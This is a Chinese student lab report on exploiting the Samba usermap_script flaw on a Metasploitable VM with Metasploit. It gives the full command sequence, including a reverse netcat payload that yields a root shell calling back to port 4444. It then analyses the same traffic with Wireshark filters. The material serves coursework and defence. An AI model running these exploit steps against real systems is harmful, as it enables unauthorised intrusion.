20252817 2025-2026-2 《网络攻防实践》实践七报告
学号 20252817 2025-2026-2 《网络攻防实践》实践七报告
1. 实践内容
本次实践主要围绕 Linux 远程渗透攻击和攻防对抗分析展开。和前一次 Windows 远程渗透实验相比,这次的目标换成了 Linux 靶机,重点是利用 Metasploit 对 Metasploitable 靶机中的典型漏洞进行攻击,并结合抓包工具分析攻击过程。
第一部分是使用 Metasploit 攻击 Linux 靶机上的 Samba usermap_script 漏洞。该漏洞对应的模块是 exploit/multi/samba/usermap_script,攻击成功后可以获得目标主机的远程 Shell,并进一步查看当前权限。
第二部分是攻防对抗实践。攻击方选择 Metasploitable 靶机中发现的漏洞进行渗透攻击,防守方使用 Wireshark 抓取攻击流量,再分析攻击者 IP、目标 IP、端口、攻击时间、漏洞类型以及攻击成功后执行的命令。通过这部分实验,可以把攻击操作和流量特征对应起来理解。
2. 实践过程
2.1 使用 Metasploit 进行 Linux 远程渗透攻击
本部分实验使用 Kali 作为攻击机,Metasploitable 作为 Linux 靶机。实验开始前先确认两台虚拟机处于同一网段,并记录 IP 地址。
| 主机 | 作用 | IP 地址 |
|---|---|---|
| Kali | 攻击机 | 192.168.200.194 |
| Metasploitable | Linux 靶机 | 192.168.200.130 |
在 Kali 中查看本机 IP:
ip addr

从结果可以看到,Kali 中存在多块网卡。为了确认访问靶机时实际使用哪块网卡,我又使用路由查询命令进行确认:
ip route get 192.168.200.130
输出结果显示访问 192.168.200.130 时使用的是 eth1,源地址为 192.168.200.194,因此后续 Metasploit 中的 LHOST 应设置为 192.168.200.194。
在 Metasploitable 中查看靶机 IP:
ifconfig

确认 IP 后,在 Kali 中使用 ping 命令测试网络连通性:
ping 192.168.200.130
如果能够收到正常回复,说明攻击机和靶机之间网络连通,可以继续进行后续实验。

为了确认靶机 Samba 服务端口处于开放状态,我又使用 nmap 扫描了 139 和 445 端口:
nmap -Pn -p 139,445 192.168.200.130

扫描结果显示 139/tcp 和 445/tcp 均为 open,说明靶机 Samba 服务可以被访问。
接着在 Kali 中启动 Metasploit:
msfconsole

进入 Metasploit 后,搜索 Samba 相关漏洞模块:
search usermap_script

从搜索结果中可以看到 exploit/multi/samba/usermap_script 模块,该模块用于利用 Samba 服务中的 usermap_script 远程命令执行漏洞。随后加载该模块:
use exploit/multi/samba/usermap_script

加载模块后,查看可用的 payload:
show payloads

本次实验选择远程 Shell 类型的 payload。这里可以使用正向连接,也可以使用反向连接。为了便于和抓包结果对应,我选择了 cmd/unix/reverse_netcat:
set payload cmd/unix/reverse_netcat

然后使用 show options 查看需要配置的参数:
show options

根据实验环境设置靶机 IP 和攻击机 IP:
set RHOSTS 192.168.200.130
set LHOST 192.168.200.194
如果当前 Metasploit 版本使用的是 RHOST,则按照提示改成:
set RHOST 192.168.200.130
再次执行 show options,确认参数已经设置完整。

参数确认无误后,执行攻击:
exploit
本次执行后,Metasploit 返回如下信息:
[*] Started reverse TCP handler on 192.168.200.194:4444
[*] Command shell session 1 opened (192.168.200.194:4444 -> 192.168.200.130:33808)
其中 Command shell session 1 opened 表示远程 Shell 已经成功建立。进入 Shell 后可以执行下面的命令查看当前用户和系统信息:
whoami
id
ifconfig
pwd

从执行结果可以看到,当前已经获得目标 Linux 靶机的远程 Shell,并且获得了 root 权限。这说明 Samba usermap_script 漏洞利用成功。
2.2 攻防对抗实践
这一部分我自己同时完成攻击方和防守方的操作。攻击方使用 Kali 中的 Metasploit 对 Metasploitable 靶机进行攻击,防守方使用 Kali 中的 Wireshark 对攻击过程进行监听和分析。因为前面已经确认 Kali 访问靶机 192.168.200.130 时走的是 eth1,所以 Wireshark 抓包时也选择 eth1 网卡。
本次攻防对抗仍然使用已经成功验证的 Samba usermap_script 漏洞,payload 使用 cmd/unix/reverse_netcat。这样实验过程和前面的漏洞利用结果一致,抓包中的攻击流量也能和 Metasploit 中的 session 对应起来。
| 项目 | 内容 |
|---|---|
| 攻击方 | 我自己,Kali + Metasploit |
| 防守方 | 我自己,Kali + Wireshark |
| 监听网卡 | eth1 |
| 攻击机 IP | 192.168.200.194 |
| 靶机 IP | 192.168.200.130 |
| 利用漏洞 | Samba usermap_script 命令注入漏洞 |
| 目标端口 | 139、445 |
| 回连端口 | 4444 |
| Payload | cmd/unix/reverse_netcat |
2.2.1 防守方先打开 Wireshark 监听
在执行攻击之前,先打开 Wireshark。由于 Kali 和 Metasploitable 通信时使用的是 eth1,所以这里选择 eth1 网卡开始抓包。
为了确认应选择哪块网卡,可以先在 Kali 终端中执行:
ip route get 192.168.200.130

输出中显示 dev eth1 src 192.168.200.194,说明本次攻击流量会经过 eth1,Wireshark 就应该监听 eth1。
Wireshark 开始抓包后,可以先在过滤栏中输入:
ip.addr == 192.168.200.194 && ip.addr == 192.168.200.130
这个过滤条件用于只显示攻击机和靶机之间的通信。设置好过滤条件后,保持 Wireshark 正在抓包,不要停止,然后再回到 Metasploit 执行攻击。
2.2.2 攻击方执行 Metasploit 攻击
在 Kali 中启动 Metasploit:
msfconsole
在 Metasploit 中加载 Samba usermap_script 模块,并设置参数:
use exploit/multi/samba/usermap_script
set payload cmd/unix/reverse_netcat
set RHOSTS 192.168.200.130
set LHOST 192.168.200.194
show options

确认参数无误后执行攻击:
exploit
攻击成功后,Metasploit 显示:
[*] Started reverse TCP handler on 192.168.200.194:4444
[*] Command shell session 1 opened (192.168.200.194:4444 -> 192.168.200.130)

获得远程 Shell 后,输入几条简单命令,方便后面在 Wireshark 的 TCP 流中看到命令内容:
whoami
id
ifconfig
pwd

2.2.3 Wireshark 分析攻击过程
攻击完成后,回到 Wireshark 停止抓包,然后进行分析。
第一步,看攻击发起连接。使用过滤条件:
ip.addr == 192.168.200.194 && ip.addr == 192.168.200.130 && (tcp.port == 139 || tcp.port == 445)
在过滤结果中,重点看攻击机 192.168.200.194 发往靶机 192.168.200.130 的 TCP 连接。最前面的 SYN 包就是攻击发起阶段的数据包,目的端口是 139 或 445,对应靶机的 Samba 服务端口。这个包所在行的 Time 字段可以作为攻击发起时间。

第二步,看反向 Shell 连接。使用过滤条件:
ip.addr == 192.168.200.194 && ip.addr == 192.168.200.130 && tcp.port == 4444
这里重点看靶机 192.168.200.130 到攻击机 192.168.200.194:4444 的连接。Metasploit 中显示的会话是:
192.168.200.194:4444 -> 192.168.200.130:33808
从网络连接方向理解,实际是靶机使用临时端口 33808 回连攻击机的 4444 端口。Wireshark 中如果看到类似 192.168.200.130:33808 -> 192.168.200.194:4444 的 TCP 流,就说明反向 Shell 已经建立。

第三步,追踪命令交互内容。这里不要随便选一个 TCP 包,而是选择 tcp.port == 4444 过滤结果中带有数据内容的包,通常是 Info 中带有 PSH, ACK 的包,或者长度 Len 大于 0 的包。选中这个包后,右键选择:
Follow -> TCP Stream

这样可以看到攻击成功后在 Shell 中输入和返回的内容,例如 whoami、id、ifconfig、pwd 等命令及其输出。

根据 Wireshark 抓包结果,本次攻击信息整理如下:
| 分析项目 | 结果 |
|---|---|
| 攻击者 IP | 192.168.200.194 |
| 目标 IP | 192.168.200.130 |
| 目标端口 | 139 或 445 |
| 回连端口 | 4444 |
| 攻击发起时间 | 查看第一条发往 139/445 的 TCP SYN 包的 Time 字段 |
| 利用漏洞 | Samba usermap_script 命令注入漏洞 |
| Shellcode / Payload | cmd/unix/reverse_netcat,反向 netcat shell |
| 成功后输入的信息 | whoami、id、ifconfig、pwd |
| 获得权限 | root |
综合来看,本次攻防过程是:先由防守方在 eth1 上开启 Wireshark 抓包,然后攻击方利用 Samba usermap_script 漏洞触发命令执行,靶机通过 reverse_netcat payload 回连攻击机 4444 端口。通过 Wireshark 可以看到攻击连接、反向 Shell 连接以及攻击成功后的命令交互内容。
3. 学习中遇到的问题及解决
-
问题1:第一次执行 Samba 攻击时没有获得 session。
一开始我把LHOST设置成了192.168.200.64,Metasploit 显示Exploit completed, but no session was created。 -
问题1解决方案:
使用ip route get 192.168.200.130查询后发现,Kali 访问靶机时实际使用的源地址是192.168.200.194。将LHOST改为192.168.200.194后,再次执行攻击成功获得远程 Shell。 -
问题2:在 Metasploit 主界面输入
exploit时提示Unknown command: exploit。
这是因为当时还停留在msf >主界面,没有进入具体漏洞模块。 -
问题2解决方案:
重新执行use exploit/multi/samba/usermap_script进入模块,提示符变为msf exploit(multi/samba/usermap_script) >后,再设置参数并执行exploit。 -
问题3:尝试使用
vsftpd_234_backdoor模块失败。
Metasploit 提示无法连接6200/TCP后门端口。 -
问题3解决方案:
使用nmap -sV -p 21,6200 192.168.200.130检查后发现,靶机 FTP 服务是ProFTPD 1.3.1,不是vsftpd 2.3.4,因此该模块不适用于当前靶机。最后改用已经验证成功的 Sambausermap_script漏洞完成攻防分析。
4. 实践总结
通过这次实践,我对 Linux 远程渗透攻击的流程有了更清楚的认识。Metasploit 的基本使用步骤并不复杂,但参数必须和实际网络环境一致,尤其是反向连接 payload 中的 LHOST,如果填错网卡地址,即使漏洞触发也无法获得 session。
这次实验中,Samba usermap_script 漏洞能够直接获得目标主机远程 Shell,并且可以取得 root 权限。通过 Wireshark 抓包分析,我也看到攻击过程会在网络中留下明显痕迹,例如 Samba 端口连接、反向连接端口以及成功后输入的命令内容。
总的来说,这次实践让我把攻击和防守两部分联系起来理解。攻击方需要关注模块、payload 和参数是否正确;防守方则可以通过抓包分析还原攻击源、目标端口和命令交互过程。

浙公网安备 33010602011771号